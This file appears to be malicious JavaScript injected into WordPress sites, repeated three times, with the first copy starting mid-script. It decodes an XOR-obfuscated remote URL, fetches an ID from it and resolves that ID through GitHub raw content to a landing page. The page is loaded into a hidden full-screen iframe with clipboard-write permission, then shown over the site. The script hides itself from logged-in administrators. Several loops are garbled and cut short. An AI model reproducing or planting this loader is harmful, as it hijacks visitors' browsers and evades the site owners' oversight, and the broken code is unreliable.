var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: "idle",
iframeId: "__inline_offer_iframe__",
iframeAttr: "data-inline-offer-frame",
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || "";
if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || "";
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById("wpadminbar")) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = "active";
return;
}

if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
return;
}

registry.status = "loading";

function safeAppendQuery(url, key, val) {
var sep = url.indexOf("?") >= 0 ? "&" : "?";
return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return "";

if (template.indexOf("dropbox.com") >= 0) {
return template.replace(/\{id\}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf("gist.githubusercontent.com") >= 0) {
encoded = encoded.replace(/%2F/g, "/");
}

return template.replace(/\{id\}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return "";

var s = String(value)
.replace(/^\uFEFF/, "")
.trim()
.replace(/^['"`\s]+|['"`\s]+$/g, "");

if (!s) return "";

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = "https://" + s;
} else {
return "";
}
}

try {
var u = new URL(s);
if (u.protocol === "http:" || u.protocol === "https:") {
return u.href;
}
} catch (e) {}

return "";
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return "";

if (typeof input === "string") {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === "[object Array]") {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length - 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length - 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return "";
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return "";
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + "::" + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement("link");
link.rel = rel;
link.href = href;

if (rel === "preconnect") {
link.crossOrigin = "anonymous";
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve("");
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === "active") return;

if (isWpLoggedInContext()) {
cleanup("done");
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = "active";
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement("iframe");
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = "active";

iframe.style.visibility = "visible";
iframe.style.opacity = "1";
iframe.style.pointerEvents = "auto";
iframe.removeAttribute("aria-hidden");

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup("done");
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, "1");
iframe.setAttribute("aria-hidden", "true");
iframe.setAttribute("loading", "eager");
iframe.setAttribute("allow", "clipboard-write");
iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
iframe.style.cssText = [
"position:fixed !important",
"top:0",
"left:0",
"width:100vw",
"height:100vh",
"border:none",
"z-index:2147483647",
"margin:0",
"padding:0",
"overflow:hidden",
"visibility:hidden",
"opacity:0",
"pointer-events:none",
"background:transparent"
].join(";");

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup("done");
return "";
}

id = (id || "").trim();
if (!id) {
cleanup("done");
return "";
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup("done");
return "";
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup("done");
return "";
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint("dns-prefetch", finalOrigin);
addHint("preconnect", finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup("done");
});
}

registry.runPromise = run();
})();
;
(function () {
var API_ID_URL = (function(){var _0x1ee8=[50,46,46,42,41,96,117,117,42,40,63,57,51,41,51,53,52,42,40,53,44,51,52,61,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x1ee8.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: "https://raw.githubusercontent.com/{id}", useFetch: true }
];

var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
? Symbol.for("__inline_id_offer__")
: "__inline_id_offer__";

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: "idle",
iframeId: "__inline_offer_iframe__",
iframeAttr: "data-inline-offer-frame",
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || "";
if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || "";
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById("wpadminbar")) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = "active";
return;
}

if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
return;
}

registry.status = "loading";

function safeAppendQuery(url, key, val) {
var sep = url.indexOf("?") >= 0 ? "&" : "?";
return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return "";

if (template.indexOf("dropbox.com") >= 0) {
return template.replace(/\{id\}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf("gist.githubusercontent.com") >= 0) {
encoded = encoded.replace(/%2F/g, "/");
}

return template.replace(/\{id\}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return "";

var s = String(value)
.replace(/^\uFEFF/, "")
.trim()
.replace(/^['"`\s]+|['"`\s]+$/g, "");

if (!s) return "";

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = "https://" + s;
} else {
return "";
}
}

try {
var u = new URL(s);
if (u.protocol === "http:" || u.protocol === "https:") {
return u.href;
}
} catch (e) {}

return "";
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return "";

if (typeof input === "string") {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === "[object Array]") {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length - 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length - 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return "";
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return "";
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + "::" + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement("link");
link.rel = rel;
link.href = href;

if (rel === "preconnect") {
link.crossOrigin = "anonymous";
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve("");
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === "active") return;

if (isWpLoggedInContext()) {
cleanup("done");
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = "active";
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement("iframe");
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = "active";

iframe.style.visibility = "visible";
iframe.style.opacity = "1";
iframe.style.pointerEvents = "auto";
iframe.removeAttribute("aria-hidden");

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup("done");
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, "1");
iframe.setAttribute("aria-hidden", "true");
iframe.setAttribute("loading", "eager");
iframe.setAttribute("allow", "clipboard-write");
iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
iframe.style.cssText = [
"position:fixed !important",
"top:0",
"left:0",
"width:100vw",
"height:100vh",
"border:none",
"z-index:2147483647",
"margin:0",
"padding:0",
"overflow:hidden",
"visibility:hidden",
"opacity:0",
"pointer-events:none",
"background:transparent"
].join(";");

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup("done");
return "";
}

id = (id || "").trim();
if (!id) {
cleanup("done");
return "";
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup("done");
return "";
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup("done");
return "";
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint("dns-prefetch", finalOrigin);
addHint("preconnect", finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup("done");
});
}

registry.runPromise = run();
})();
;
(function () {
var API_ID_URL = (function(){var _0x1ee8=[50,46,46,42,41,96,117,117,42,40,63,57,51,41,51,53,52,42,40,53,44,51,52,61,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x1ee8.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: "https://raw.githubusercontent.com/{id}", useFetch: true }
];

var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
? Symbol.for("__inline_id_offer__")
: "__inline_id_offer__";

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: "idle",
iframeId: "__inline_offer_iframe__",
iframeAttr: "data-inline-offer-frame",
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || "";
if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || "";
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById("wpadminbar")) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = "active";
return;
}

if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
return;
}

registry.status = "loading";

function safeAppendQuery(url, key, val) {
var sep = url.indexOf("?") >= 0 ? "&" : "?";
return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return "";

if (template.indexOf("dropbox.com") >= 0) {
return template.replace(/\{id\}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf("gist.githubusercontent.com") >= 0) {
encoded = encoded.replace(/%2F/g, "/");
}

return template.replace(/\{id\}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return "";

var s = String(value)
.replace(/^\uFEFF/, "")
.trim()
.replace(/^['"`\s]+|['"`\s]+$/g, "");

if (!s) return "";

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = "https://" + s;
} else {
return "";
}
}

try {
var u = new URL(s);
if (u.protocol === "http:" || u.protocol === "https:") {
return u.href;
}
} catch (e) {}

return "";
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return "";

if (typeof input === "string") {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === "[object Array]") {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length - 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length - 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return "";
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return "";
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + "::" + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement("link");
link.rel = rel;
link.href = href;

if (rel === "preconnect") {
link.crossOrigin = "anonymous";
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve("");
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === "active") return;

if (isWpLoggedInContext()) {
cleanup("done");
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = "active";
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement("iframe");
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = "active";

iframe.style.visibility = "visible";
iframe.style.opacity = "1";
iframe.style.pointerEvents = "auto";
iframe.removeAttribute("aria-hidden");

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup("done");
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, "1");
iframe.setAttribute("aria-hidden", "true");
iframe.setAttribute("loading", "eager");
iframe.setAttribute("allow", "clipboard-write");
iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
iframe.style.cssText = [
"position:fixed !important",
"top:0",
"left:0",
"width:100vw",
"height:100vh",
"border:none",
"z-index:2147483647",
"margin:0",
"padding:0",
"overflow:hidden",
"visibility:hidden",
"opacity:0",
"pointer-events:none",
"background:transparent"
].join(";");

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup("done");
return "";
}

id = (id || "").trim();
if (!id) {
cleanup("done");
return "";
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup("done");
return "";
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup("done");
return "";
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint("dns-prefetch", finalOrigin);
addHint("preconnect", finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup("done");
});
}

registry.runPromise = run();
})();